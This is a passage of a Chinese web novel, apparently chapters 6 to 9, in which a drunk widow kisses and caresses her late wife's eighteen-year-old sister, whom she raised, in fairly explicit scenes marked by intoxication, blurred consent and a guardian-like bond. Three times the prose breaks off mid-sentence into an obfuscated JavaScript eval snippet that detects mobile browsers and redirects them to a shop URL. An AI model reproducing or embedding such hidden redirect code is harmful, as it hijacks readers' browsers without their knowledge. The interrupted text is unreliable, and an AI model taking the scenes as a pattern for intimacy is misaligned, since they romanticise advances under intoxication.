“嫂子……?” “……我去给嫂子接杯水吧。” 陆知秋做势要跑走。 不要水。”温予乔摇头,一把抓住陆知秋的手腕, “热……好热……” 温予乔现在像发烫的浆糊一样,烫的脸发烧,陆知秋知道她是酒精不耐,正想着下次像管教自己一样让她不要在喝酒了, 温予乔一边嘟哝着好热,一边变本加厉的,另一只手开始扯自己身上的真丝吊带背心,细细的肩带被她扯得滑下肩膀,露出浅米色蕾丝内衣, 陆知秋觉得房间里的空气也被灌了酒精,只想赶紧走,说着“……嫂子你先躺好,我真的要走了。” “不舒服……”温予乔不听陆知秋皱起眉,干脆坐起来,双手绕到背后去解内衣扣子。 “等等!”陆知秋赶紧按住她的手,“别脱!” 温予乔抬起眼睛看她,她的眼神迷离又潮润,像是蒙了一层雾气,看不太清焦点,眼神失焦的看着陆知秋,脸颊绯红,嘴唇也因为喝了酒而显得像樱桃一样红润,任君采撷的绯红。 “……可是嫂嫂真的热。”温予乔含糊地说, “而且为什么不能脱?”她歪着头问,陆知秋听出任性的语气,“在家里……又没人看见。” “我……”陆知秋语塞,“我还在呢。” “你?”温予乔盯着她看了几秒,然后笑了,“你是小秋啊……小秋没关系的……” “就算小秋长着两个脑袋……” 她说着说着,手指还在解背后的扣子,内衣的带子松了,露出雪白柔嫩的肉。 陆知秋无助的闭上眼睛。 温予乔不知道醉倒什么程度了,好像完全没意识到自己在做什么,她又把脱下来的内衣随手扔到地上,陆知秋听到声音赶紧提她捡起来,叠好,放在她的身边。 陆知秋闭着眼睛提她穿上针织衫。 “还是热……” “我不要穿……” 温予乔嘟囔着,眼看就要把针织衫脱掉。 “嫂子!”陆知秋急忙按住她的手,“别脱了,真的。” 温予乔停下动作,看着她,她的眼睛还是汐汐的,热热的,泽光潋滟, “小秋为什么总是拦着我?”她含着哭腔的问,“连小秋也要管我?” “我不是……” “那你抱抱我。”温予乔撒娇说,张开手臂,“我冷。” 陆知秋:……刚才不是还在说热吗? 温予乔看她不动,眼泪又涌出来:“连抱都不肯抱我……你们都一样……都不喜欢我……” 陆知秋:“什么?” “就是不喜欢我啊。”温予乔撇了撇嘴,“觉得我烦,觉得我管得多,觉得我……老了。” “没有这种事!”陆知秋赶紧说,“我没有不喜欢嫂嫂。” 年上姐姐不要说这种话啊。 年上说自己年纪大了,简直就是going啊,但是其实是年纪越年长,越有魅力的,年长反而是很大的加分项的。 年长特别有魅力啊,完全。 你的灵魂如此美丽,怎么会在意你的年龄呢。 喜欢你,喜欢你的漂亮美丽的灵魂。 “真的?”温予乔歪着头看她,针织衫滑下来一点,她也没管,“那小秋就是喜欢我喽?” “那小秋喜欢我喽?” 陆知秋:“……” 脑子待机了。 7. 第 7 章 “那小秋喜欢我喽?” 陆知秋:“……” 脑子待机了。 “怎么不说话?”温予乔凑近了些,靠着陆知秋的鼻尖,手臂环上她的腰,少女的腰纤细而柔韧,自己整个人几乎贴在她身上, “喜欢就是喜欢,不喜欢就是不喜欢,有这么难回答吗?” 陆知秋这下子急了,急得平常很流利的说话现在都有些变笨了,有些打结,一直淡淡的情绪也有些激动起来, “喜欢……” “哎呀,不对,是那种喜欢,不是那种喜欢。” 温予乔娇声:“哪是哪种?小秋说的那种喜欢是哪种喜欢?” “反正就是那种喜欢喽。” 陆知秋刚想说出口:是……家人的喜欢, 温予乔不等她说出来,眼睛眨了眨,睫毛很长,“哦……我懂了,小秋不说话,是因为你对我是那种喜欢,对小女朋友是那种喜欢,对不对?” 陆知秋:“……” 这还真的没有。 她对温予乔的感情比女同剧的青梅还要纯粹。 “那就是你对我是那种喜欢。”温予乔坏坏的笑了,“小秋,你好色哦。” 陆知秋知道自己应该无语的,但不知道为什么耳朵红了,说话也有些紧张:“嫂子,你别胡说……” “我哪有胡说。”温予乔伸手,手指轻轻戳了戳她的胸口,“……你心跳好快,咚咚咚的,小心脏在打鼓。” “……那是正常的生理反应。” “人的心脏在跳动,是很正常的事情吧。” “……不在跳,那才不正常吧。” 温予乔笑了,含着挑逗的语气说着:“可是小秋跳的好快。” “……小秋说的正常生理反应,女孩子会在正常的时候,心跳也这样快吗?” 又向陆知秋胸口点了点 陆知秋被她戳着胸口,痒痒的,但温予乔抱得紧,退不了。 …… 陆知秋看着身旁的嫂子,她的头发散了,粘在她的脸颊,显得她的脸颊更加白皙胜雪,脸还留着喝酒后的红晕,从颧骨一直蔓延到耳根,像是涂了层淡淡的胭脂,红润润的,有种说不上来的感觉。 ……真好看啊。 这不是陆知秋第一次说这句话了。 “……我很喜欢嫂嫂哦。” “但,不是女女之间的那种。” “那是哪种?”温予乔歪着头,酒精让她思考的比较难了,“母女?姐妹?还是……姑嫂?” 说到后半句话的时候,她的尾音略微上挑,就是为了挑逗小孩子的。 “……都有。”陆知秋老实说,“你是嫂嫂,年长我十几岁的嫂嫂,照顾了我十年,像妈妈,也像姐姐,也像老师,我很感激嫂嫂,也……很喜欢你。” “但不是女人对女人的喜欢?”温予乔追问。 “嗯。” 陆知秋想这样说的。 她只知道,看见嫂子哭她会心疼,看见她笑她会开心,看见她穿得少她会……会不敢看, 但陆知秋不觉得这是爱情上的喜欢。 这只是……依赖,只是感激,只是家人之间的情感。 可是,话到嘴边,她答不出来。 “你看,你答不上来。”温予乔看着陆知秋苦恼的样子,得意而苦涩笑了,“小秋,你连自己喜欢谁都搞不清楚。” “我……”陆知秋想反驳,她没有喜欢过别人,自然不知道什么感觉。 她只知道,如果非要选择一个人一辈子都不分开, 那个人只能是温予乔。 就算陆知清还在,连陆知清也无法占据温予乔的位置。 她十年里一次也没有抱过她,一次也没有饲养她,一次也没有……来看过她和温予乔。 就算是姐姐,也做不到。 陆知秋想,如果让她和温予乔结婚,她会很惊讶,会想说,我们可是姑嫂关系,怎么可以这样, 但如果和她说,“你要和温予乔在一起,从此爱她尊重她,不离不弃,忠诚一生,无论富贵和贫贱,无论健康和疾病,无论成功与失败,都会不离不弃,永远支持她,爱护她,与她同甘共苦,直到你死亡。” 陆知秋会想:“我本来就要这样的啊。” “不这样的话,我还有什么生活的意义呢?” “她抚养我长大,这是我自然而然需要去做的事情。” 这种,也算是爱情上的情爱吗? 陆知秋还是觉得,只是,家人上的喜欢而已。 温予乔看着陆知秋迟迟不说话,如果现在是清醒的温予乔,成熟而知性美年上一定会看到自己崽崽眸子里的情愫,崽崽看不懂的事情,温予乔会看懂的,给予崽崽引导和疏解, 让她,更明白看透自己的心。 可是现在温予乔醉了,她看不到,看不到崽崽眸底的情愫,也无法让她看透自己的心。 毕竟,就连温予乔自己,也只看透了自己的一半的心,还剩下半颗心,等待女孩来开锁,采撷在手。 “……不知道怎么回答我吗?……没关系。”温予乔抬手,摸了摸陆知秋的脸,她的手指温热,呼吸之间含着酒气,“你还小,慢慢来。” 她说着,凑近她,近到陆知秋闻到了温予乔身上玫瑰香调的香水味,和温予乔浅浅而发烫的呼吸。 “但是小秋啊……”温予乔轻声说,“有时候,喜欢就是喜欢。不用分那么清楚。” “就像现在,”温予乔的手指抬起来,在陆知秋的唇角擦着,从她的唇瓣擦到唇珠,在少女饱满的唇珠上流连,最后在唇珠上轻揉,轻摁,“你看,我抱着你,你抱着我,你很紧张,心跳很快,耳朵很红……这些都是真的,对吧?” 陆知秋轻轻点头。 “那就够了。”温予乔温柔的笑了,眸底还藏着自己私藏而不泄露于人的情绪,“不用想那么多,你喜欢就喜欢,不喜欢就不喜欢,很简单。” “……顺从自己的心。” “嫂嫂现在……就在顺从着自己的心。” “嫂嫂想喜欢谁……就喜欢谁……” “没有人能对……嫂嫂对你的这份感情……指手画脚……” 陆知秋以为嫂嫂是在说喜欢自己(家人意义上的),也点点头,“是的,我对嫂嫂的这份感情,也没有任何人可以来指手画脚。” 至于温予乔轻松的说着要顺从自己的心,温予乔说的时候很轻松,但陆知秋的脑袋烫的一团浆糊, 简单吗? ……一点都不简单。 她绝对不会对嫂子产生爱情,或者家人以外的情感。 因为如果真的是女女之间的喜欢,那陆知秋应该怎么办? 她是嫂嫂,是姐姐的妻子。就算姐姐已经不在了,就算嫂嫂为了她守身了十年…… 也不可以。 绝对不可以。 “……又在想不该想的事了。”温予乔手指点了点正在想事儿的陆知秋的额头,说,“眉头都皱起来了,一看就是在胡思乱想。” “你从小到大……每次胡思乱想,都是这样皱着眉头。” “十年了,小秋还是像小崽崽一样……” “……嫂嫂真的好喜欢你呀,小秋。” 温予乔的手指抚上陆知秋的眉眼,“特别……特别喜欢你。” “知秋……”温予乔轻声说着, 陆知秋的心一抽,她听的是“知清”。 她正想着,又是……姐姐。 “……嫂嫂,你刚才那一句,‘她娶我,不是因为喜欢我’,那句话到底是什么意思?” 陆知秋知道自己不应该问的,但却还是问了出来。 温予乔好像预料到她会这样说,像是有读心术一样,就好像刚才她那句‘她娶我,不是因为喜欢我’,是她为了吸引崽崽注意力而故意说出来的一样, “嗯……”温予乔声音软软嫩嫩的,“小秋要是想知道的话,先答应嫂嫂,如果有一天,嫂嫂做了让你不开心的事……伤害了你的事,你不愿意去做的事……你会原谅我吗?” “……会的。” 陆知秋不知道温予乔的话是什么意思,但她知道,无论她做什么,她大概……都会原谅她。 温予乔看到陆知秋的顺从的意思,也并不意外,趴到她的身上,开始说着, “一提起你姐姐的事情……” “我就会觉得,和你姐姐结婚,可能是我这辈子做过最草率的决定。” “其实本来嫂嫂对小秋是说不出口这些事情的,嫂嫂本来想一直隐瞒到你永远不知道的……” “但是今晚嫂嫂喝醉了,嫂嫂想不清楚事情了,让嫂嫂,让温予乔……现在摆脱掉成年人的身份,当一回……小孩子好不好?” 陆知秋说:“我答应过您的,嫂嫂的一切我都接受。” “那我就说喽。” “和你姐姐结婚那天晚上,” “我们回到酒店房间,她说累,先去洗澡,我说要和她一起,被她拒绝了。 “我们分开洗的澡,等到你姐姐出来的时候,我已经换好睡衣坐在床上了。” “我现在还记得,你姐姐那会散着的长发淌着水,清冷的如同是雪莲一样,整个人漂亮的不可言说……” “我不喜欢你姐姐,但是那时候我太缺钱了,你姐姐她很富有,也很漂亮,待人接物都很礼貌,我觉得,非要嫁给不喜欢的人,你姐姐至少在我不喜欢的人的里边,出类拔萃。” “我那会也还年轻,和你一样大的年纪,我以为,结了婚就一定要做 “我为了她,穿着一套很透的黑色蕾丝睡衣,我想我都快要把我的所有献了上去,随便她如何对待我,哪怕侵入我也可以,” “可是她连我都没有看一眼,她说:‘你先睡吧,我还有点工作要处理。” “然后她就去了书桌那边,打开电脑,一直忙到凌晨三点,我装睡都装累了,她才轻手轻脚地躺到床上。” “就……睡了?” “嗯。”温予乔笑了,“连晚安都没说。” 陆知秋不知道该说什么,她从来没想过姐姐会是这样的人。 “我以为她是太累了,或者紧张。”温予乔继续说,“可是后来……一个月,两个月,都是这样,她睡书房,我睡卧室。偶尔一起吃饭,也是各吃各的,没什么话。” “你没问过她?” “问过。”温予乔说,“结婚一年三个月的时候,我实在忍不住了,问她:‘陆知清,你是不是不喜欢我?’” “那是我们第一次,也是唯一一次吵的架。” “她总是那副样子,一副清冷而不在乎一切事情的样子,对我的痛苦视而不见,置若未闻,好像一切都和她无关一样,” “……我不知道她的心里在想什么。” “我问她……” “你是不是不喜欢我?是不是后悔娶我了?” 陆知秋听着,顺应着:“……然后呢?” 温予乔接续说,“然后陆知清说,” “‘予乔,你胡说什么呢?我怎么可能会这样呢?你这么漂亮,这么懂事。’” “后来我说:‘那你说你喜欢我,说你爱我,现在就说。’” “她沉默了,沉默了很久很久,久到我以为她不会回答了。” “最后她说……” 温予乔嘲笑着当时陆知清的语气,冷淡,温和,听不出情绪,如同像是把对方当做小丑一样玩弄的语调,“‘予乔,别闹了,乖一点哦,我们结婚这么久,你还问这种问题,我有点不开心哦。’” “她说她不开心被这样问,那我被冷置在一旁,我就很开心吗?” “既然知道不开心的感觉并不好,那,为什么不换位思考呢?” “好说歹说,回头看一看我吧……” “难道我不开心,让她很愉悦吗?” 温予乔继续说着,“然后陆知清走过来,抱了抱我,说:‘好了,早点睡吧,明天还要开会。’” 温予乔说着说着,不再笑了,眼泪又夺眶而出,顺着眼眶流下,她抬手擦掉眼泪,但新的眼泪又涌出来,根本来不及擦拭,“就这么轻飘飘的一句话,一个拥抱,就又把我打发了。” “可是你知道吗,小秋……” 温予乔哭的眼尾泛红,像是沾了水的芍药花一样漂亮,“从她去世算起,到现在已经十年了,从在陆知清还在的时候算起,从结婚到她坠海,整整一年零三个月,她从来没说过一次‘我爱你’。一次都没有。” 温予乔破碎的说,“你说她到底怎么对我的?她真的有把我当作一个……一个有正常性的生理需求,一个有正常情感被爱需求的女人来看吗?” 陆知秋不知道该这么说,这种论题对她来说很遥远一样,“嫂子……” “我需要被爱啊,” “我也需要有人抱我,亲我,说爱我!我需要……需要正常的妻妻生活,也想要上床……” “陆知清倒好……她哄骗我之后,说是要开会,然后她就出了车祸,然后坠海,一了百了,留下我在这里……一年又一年,像个傻子一样等,等着一个可能根本就不爱我的人……等着一个早就死了的人……” “我觉得我就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但是小秋和年轻时候的嫂嫂一样,不懂什么叫喜欢,所以,嫂嫂希望嫂嫂能够以一个长辈,能够以引导你的姐姐的身份,经历了不太好的恋情之后,站在前路回望的姿态指导小秋,让你能不像嫂嫂那样被认知,金钱,家庭困住,可以碰到自己真正喜欢的女孩子,过上更好的人生。” “不像嫂嫂现在这样……” “妻子不爱,留下了钱就抛弃我再也不回来了……” 陆知秋听着温予乔的话语,看着温予乔含着泪的眼睛,不知道说些什么去安慰她。 “小秋……你答应嫂嫂了,” “无论我做什么,让你不开心的事情,你都会……原谅我的吧?” 陆知秋点点头,“我……原谅嫂嫂。” 话音刚落,温予乔就凑近了过来。 温软的唇,贴上了陆知秋的嘴唇。 柔软,丰润,只是,陆知秋一时之间接受不过来。 ……这算什么? 这就是嫂嫂说的,对自己来说很过分的事情? 她还没反应过来,唇和唇相接触,浸润,柔软,又想融化的蜂蜜,甜甜的。 随即,陆知秋就感觉到,温予乔小心翼翼的伸出一点点舌尖,轻轻舔了下陆知秋的唇缝,舔了几下,有些乞求的往里头顶。 “嗯嗯……啊啊,” 温予乔红着脸,发着可爱的声音。 陆知秋看的有些痴了,然后一不注意,就被温予乔笨拙地顶开了她的牙关,滑了进来。 润漉漉的,一入口的是红酒的微涩,女性的清甜,津甜的水味,很香, ……还有独属于成熟女性的柔软和侵略性。 “唔……”陆知秋闷哼一声,想往后躲,但温予乔的手悄悄的绕到了她的脑后,轻轻地按住她的脑袋,不让她退开。 温予乔翘起舌尖,舔过陆知秋的上颚,感觉到身下的人轻轻哼了一声,然后,她引导着她, 陆知秋似乎也慢慢找到了感觉,开始生涩地回应,舌头有点害羞地躲闪了一下,然后又试探着迎上来,和温予乔的舌尖碰到了一起。 “嗯……” 温予乔满足的嘤咛一声,两条柔软的舌头就这样在湿热的口腔里小心翼翼的,你追我赶的触碰、缠绕。 温予乔完全沉醉在这个又甜又黏糊的吻里, 原来和喜欢的女孩子接吻,是这么舒服的一件事…… 初次接吻,青涩,探索,亲密无间,但却舒服的让温予乔舒服得身子都软了,像化作一摊水一样,滴在陆知秋的身上。 她的吻深邃而缠绵,还很色气。 温予乔的舌尖勾缠着她的舌尖,吮吸,舔舐,啧啧的。 唇舌交缠的触感,浓郁的红酒香,让陆知秋的感官有些迷糊。 迷迷糊糊中,她就听到温予乔在接吻的间隙,醉意而情动的说了一句: “清清……” 混乱的思绪还没理清,温予乔的吻开始下移,唇瓣湿热地落在陆知秋的下巴,颈侧。 那只原本按在她脑后的手滑了下来,然后,牵引着那只手,按向她自己。 “摸摸我…”温予乔在她耳边喘息着说,声音又软又媚, 陆知秋想摸她, “清清……” 可是,温予乔又在这时候说出那位扰乱气氛的人的话。 心中的隐秘的欢喜和悸动,被她的那句“清清”冷却,冻结,然后碎裂开,冰块变成细小的冰碴,扎得陆知秋五脏六腑都疼。 ……不是说不喜欢陆知清了吗。 ……现在却又一直在说她的名字。 ……很扫兴啊,嫂嫂。 手底下的肌肤温热,柔软,近在咫尺的脸蛋漂亮,耽于情//欲。 温予乔长而浓的睫毛颤抖着,脸蛋染着红晕, 这张脸是这样的漂亮,也是这样的脆弱,也是这样的让人心疼。 可她喊的名字,她此刻眼里看到的人,是谁? 不甘心。 为什么会这样想呢,我明明对嫂嫂的感情不是情爱。 ……忮忌。 我在忮忌那位已经去世十年的姐姐。 陆知清…… 姐姐……为什么你已经走了十年,还是这样纠缠着你的妹妹呢。 哪怕是你的妹妹和你的妻子纠缠,交融在一起的时候。 陆知秋看向怀中扒着自己的衣服,还在吻着自己胸口,渴求而不满的温予乔的脸, 好,嫂嫂不是想被“摸摸”吗? 嫂嫂不是…透过我,想感受“她”吗? 那现在来吧。 我……摸摸您。 让嫂嫂感受到,和陆知清血脉相连的陆知清的温度。 8. 第 8 章 温予乔被亲的的眼尾泛红,任由酒精和欲望淹没自己, 陆知秋的嘴唇很软,很甜。 温予乔迷蒙的视线迷蒙,眼前人的脸模糊,依旧是漂亮年轻,只不过,逐渐渐渐和记忆里那张脸重合。 那是张十年前的脸。 陆知清二十二岁,对她温和的笑。 她的眼睛很好看,和陆知秋的眼睛一样,漂亮的桃花眼,眼尾微挑,但她的眼神很冷,不像陆知秋那样真挚而温暖,满怀爱意的看着自己,就算,她的爱意是嫁人的爱意。 “予乔。”她叫她,声音还是冷的。 ……十年了,记忆里的她一点都没变,也无法改变了,因为陆知清已经........ 她还是那张清冷漂亮的脸,穿着那套结婚时的,晚上一起要做那种事情的睡衣,这次她还是站在床边,居高临下的看着她。 她的眼神...........是温予乔从未见过的眼神。 冰冷而嘲讽。 虽然以前也是冷的,但不像现在这样。 “予乔,我问你,”“我妹妹的味道,好不好?” 可温予乔不去听。 吻着陆知秋的吻继续。 温予乔也不想听。她已经被亡妻的妹妹亲的眼神失焦,双腿并拢,眼角含泪,温予乔一直不觉得自己有泪失禁体质的。 她努力让眼睛聚焦,然后把记忆里的陆知清赶出脑海,全力去看眼前的陆知秋。 “小秋……” 那声音娇得能滴出水来, 看着怀里的女人闭着眼睛,睫毛轻颤,嘴唇微张,脸颊越来越红,像石榴。 嘴唇是厚嘴唇的那种,不知道是被亲肿了,还是涂了口脂,润泽起来更加显得丰润饱满起来。 唇上还有一颗痣,让人看的更加想亲上去,亲到她的痣,然后磨擦,接吻,啃咬起来。 用力了一些。 “嗯……”温予乔轻叫了一声,潮润而纯欲的声音。 “用力点……没关系……” 陷进柔软的肌肤里。 饱满的嫩肉变形,又弹回来。 呼吸开始频率高了起来,软肉开始起伏,贴着手臂。 “小秋……”她叫她,声音黏糊糊的,“亲亲我……” 不待陆知秋犹豫,吻已经被温予乔追加着索吻了上来,追吻,追逐着自己的唇瓣, 还是温予乔主动,含住她柔软的唇瓣,轻轻吮吸,再次舌尖试探着探进去,不给人有思考的时间。 被迫张开嘴迎接她,舌头缠上来,湿滑, ……热。 “嗯……嗯……”温予乔在亲吻中发出细碎的声音,身子在她怀里轻轻扭动。 陆知秋被动的有些松开她的唇,温予乔喘着气,眼睛水汪汪地看着她, “还要……还要亲……” 陆知秋看着她,然后嘴唇又凑近,又扭过头,不去吻温予乔。 陆知秋凑近而又不吻,逗的温予乔脸有些红,垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177095|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下眼睫,眼睛含着像水儿一样委屈而朦胧的情愫, 她又抬起眼,嘴唇嘟起,把陆知秋的脸掰过来,又索吻,追寻着她的唇又吻下去。 这次更激烈,她吮吸她的舌头,舔过她的上颚,在她嘴里搅动,温予乔软在她怀里,索取着自己亲手养大的崽崽,像小猫一样。 她的手滑下来,开始解陆知秋睡衣的扣子。 “等等……”陆知秋,抓住她的手。 “不等……”温予乔摇头,眼睛红红的,“我就要现 在……就要你……” 她又吻上来,这次带着哭腔:“再……亲亲我” “……不要。”陆知秋听到自己这样说。 “舒服吗?”温予乔仰头看她,在嫂子的脸上,出现了像渴望表扬的小女孩一样的表情。 “嗯……” “嗯是什么意思?” “是舒服还是不舒服?” “……不舒服。” “……我不信。” “那我也要……”她又抓着她的手放回自己的软肉上, “多摸摸我……” 陆知秋看着她,看了很久。 然后她这次,没有去松开自己手。 温予乔笑了,笑中带着泪,灿烂得像花,明明温予乔在哭,但却璀璨如花。 她俯身,继续刚才的动作。 两具年轻的身体,一个在索取。一个在给予。 但心里,都藏着说不出口的伤。 9. 第 9 章 “再亲亲我……” 软绵绵,湿漉漉的吻,让温予乔的她的嘴唇比平时看起来更厚,更饱满,唇珠性感的丰润起来,涂着刚才楼下玩游戏时候补过的口红现在全都印在了陆知秋的唇上。 “唔……” 陆知秋想说话,但嘴被堵着,说不出来。 温予乔的手捧着她的脸,手指摸着少女的脸颊的肉,睫毛颤动着,鼻尖蹭着陆知秋的鼻尖。 比起吻先来的是是她的香味,陆知秋觉得自己要被香晕了。 陆知秋的手悬在半空,不知道往哪儿放,最后只能轻轻搭在她腰上,隔着真丝睡裙薄薄的布料,触摸着她柔软的身体。 温予乔吻得很深,她的舌头在她的嘴里搅动,又卷住她的舌头纠缠,呼吸喷在她脸上,热热的,香香的。 然后温予乔开始咬,用牙齿摩擦陆知秋的下嘴唇,碾磨着那片柔软的肉, 陆知秋吃痛,哼唧一下,想退开,但她捧着她脸,离不开,觉得自己的嘴唇被咬出了血珠。 “嫂……”陆知秋好不容易找到空隙想说话,但刚发出一个音节,嫂嫂就又吻上来,把她的声音堵了回去, 直到陆知秋觉得自己的嘴唇有些痛,说了一句“不……不要”,眼角含泪,感觉要哭出来一样,温予乔才放开她的嘴唇,稍微退开一点。 两人嘴唇“啵”的一下分开,像两块分离的果冻,口唇之间拉出一条细细的银丝。 温予乔的口红也全花了,唇线晕开,嘴角也沾着红色,本身算是厚嘴唇的唇,因为刚才的吻而显得有些红肿,厚嘟嘟的,丰润饱满,泛着水光。 她喘着气,胸口起伏着,是看着陆知秋的嘴唇。 温予乔问:“疼吗?” 陆知秋舔了舔嘴唇,尝到了血腥味,破了,耷拉下耳朵,有些委屈的嗫喏,声音委屈巴巴,像含着泪:“……有点。” 温予乔盯着那个伤口看了几秒,然后凑上去,用舌尖轻轻舔了舔,把红色的水珠子舔了下来。 铁锈味,但也是温热的,是自己小姑子的血,也是,和她血脉相连的自己妻子身上的血。 陆知秋别舔了舔,伤口像是被撒了盐,有点疼,嗯哼一声。 “别动……”温予乔和她的嘴唇离得很近,呢喃,嘴唇还贴着她的唇,“让我……再亲一会儿……” 陆知秋不知道怎么了,不愿意再亲了,她觉得自己的嘴唇好肿,不像平时的自己那样自矜,她不知道自己怎么就和自己的嫂子亲了上去, 那种失控的感觉,真的让人不爽。 一切都不应该这样的,都应该在她的掌控之中的, 人不应该,也不能成为被情//欲所驱使才对。 温予乔看陆知秋拿指腹擦了一下自己的唇,然后眼底的情绪很复杂, 温予乔低下头,说着“对不起……” “你生气了吗?” 看陆知秋着温予乔,温予乔脸上全是花掉的口红,从嘴唇晕开到嘴角,下巴上也有一点晕开的痕迹,像胭脂在唇角晕开一道水痕一样,粉嫩的像桃子。 她的头发乱了几缕,粘在她白皙的脸颊上,眼睛湿漉漉的,眼尾泛红,眼角含泪,像被人欺负了一样。 面对这样一张娇嫩像桃花一样的脸蛋天才,怎么会生气啊。 陆知秋乖巧摇摇头,“没有。” 陆知秋虽然看起来性子冷一些,但是实际上内里像奶油一样柔软细腻,她不习惯于对别人生气,特别是亲近的人, 与其说她对温予乔生气,不如说她对自己生气可能性更可信。 比如和嫂嫂接了吻这件事,她只会觉得自己是在趁人之危,嫂子喝醉了,醉得连人都认不清,一会儿把她当姐姐,一会儿又喊她小秋。 她在哭,她在闹,她在说那些藏在心里十年的话,然后不清醒之下,把她当做姐姐,才亲的她。 而她仅没推开,还回应了,搂着她的腰,手贴在她柔软的后腰,吻回去,学着她那样吮吸她的嘴唇,舌头探进她嘴里,和她纠缠,搅在一起。 她还享受着,觉得和温予乔接吻的感觉很好。 嫂子喝醉了,不清醒,她只是太孤单了,太痛苦了,想找个人依靠,而自己就趁着这种空隙吻了上去。 她趁人之危。 陆知秋被自己气的想扇自己一巴掌。 就像是自己心里的底线碎掉了,碎得稀巴烂,捡都捡不起来,关系都开始变得失控起来。 陆知秋的头脑风暴中,两位小人在打架。 而温予乔好像有读心术,看透了陆知秋的想法,在她看来,年幼的孩子因为和年长女性的亲热,陷入情感的漩涡而无法理解,空空挣扎,是十八九岁的年纪正常的事情, 她凑近,伸出手指,抵着陆知秋的唇,在她的伤口上留恋,好像这样就可以触摸到陆知秋为了自己嫂子错乱的心,替小孩疏解。 温予乔轻声问:“小秋知道,我为什么会咬你吗?” 陆知秋摇摇头。 “因为嫂嫂想让你疼嫂嫂一下。” “想让你记住嫂嫂。” “疼痛的记忆是最深刻的,就比如嫂嫂在你小时候说跑的慢一些,你总是不注意,然后摔了一跤,有了伤口才能记住。” “……嫂嫂其实不太聪明,有些事情自己也想不明白。” “所以,嫂嫂就咬了你的唇,留下一点伤口。” 温予乔的鼻尖贴着她的鼻尖,“记住这是我咬的”,“记住今天晚上,记住这个感觉。” 温予乔知道自己醉了,她不应该现在说这些话还有后边的话,这对十八岁的少女来说,有些让人害怕和沉重,或许十八岁的肩膀还无法承担这段背//德的感情, 可是她必须现在说。 一旦不趁着酒精的热情,和酒精给予的暂时的勇气,现在不说出来的话,以后就说不出来了。 她的手从捧着她的脸滑下来,环住陆知秋的脖子,身体更紧地贴上来, 她现在本来就把内衣脱了,两团嫩兔一晃一晃的,被柔软质地的衣服料子显露出了轮廓,肩膀的衣服滑了下来,露出大片白皙的肩膀和雪白的胸口。 温予乔贴在耳边,嘴唇几乎贴着她的耳廓,轻声说,“小秋,你以后……会不会找别的女孩子?” “嫂子,我……” “我不想听。”温予乔打断她,趁陆知秋犹豫的时候,又重新吻上她的唇,用她丰润的嘴唇包裹住她的唇,舌尖舔舐,吮吸着那个伤口,把渗出的血珠卷进自己嘴里。 “会不会也这样亲她们?会不会让她们碰你?会不会对她们也这么好?” 言语中都是陆知秋听不懂的情绪。 “年轻的女孩子一定很漂亮吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177096|196905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肤好,身材好,笑起来甜甜的……” “但是你不许找。” “我不准你找。” 温予乔看着陆知秋,眼底都是情//欲 陆知秋避开她的眼神说,“我也没说要找……” “反正以后也不准。” “听见没有?” 平常温柔端庄的嫂子,现在说出这种控制欲和占有欲,还带着管教和严厉,想把陆知秋栓起来,全心全意伺候自己的那种任性的话, 陆知秋的心却一直在和她说,你喜欢,你喜欢这种对待你的方式,答应嫂嫂,答应嫂嫂想要的一切,只要你能给,把心都给她。 “听见了。”陆知秋说。 温予乔还是挽着陆知秋的肩膀,垂下眼睫,“你骗我。你以后肯定会找的。等你上大学了,离开这个家了,遇到那么多漂亮女孩子……” 陆知秋反驳,“我不会。” 温予乔说着说着又要掉眼泪的,哭唧唧的说,“你会。” “你一定会,然后你就会把我忘了,忘了这个老女人,忘了今晚……” “我不会忘。”陆知秋抬手,吻掉她脸上的眼泪,抚摸温予乔的脸颊,但把她脸上的口红抹得更花了,像小花猫一样,特别可爱,“我发誓。” 温予乔听到这句话,眼睛一亮,但是随即又垂下眼睫,泪水充斥了眼眶,长长的睫毛沾上水雾,湿漉漉的,抓住陆知秋的手,把她的手按在自己脸上,脸颊热呼呼的,眼泪滚烫。 “那你再亲我一下。”温予乔含着哭腔,“用力一点。” 陆知秋犹豫了一下,不想在犯错了,可是看着嫂子哭唧唧的泪颜又犯了错,低头吻了她。 这次是她主动,她学着刚才嫂嫂吻她的样子,其实两个人的吻技都很青涩,说谁学谁的意义不是很大,她含住她丰润的下唇,轻轻吮吸,温予乔的嘴唇真的很厚,软软的,像果冻,口红有点黏,有一点甜甜的,还有一点眼泪的咸。 温予乔呜咽了一声,手臂环住她的脖子,整个人往她怀里靠,紧紧被她抱在怀里,她张开嘴,又一次让她进来,舌头缠上,贪婪的索求。 两人吻了很久,久到陆知秋觉得嘴唇酥酥软软的,然后两个人气喘吁吁。 温予乔看着她,伸手摸了摸她的嘴唇,破的地方已经不流血了,但肿起来了。 “疼吗?”她又问了一遍,这次声音软了很多。 “不疼了。”陆知秋说。 “骗人。”温予乔轻声说,然后凑上去,用舌尖轻轻舔了舔那个伤口,“对不起。” 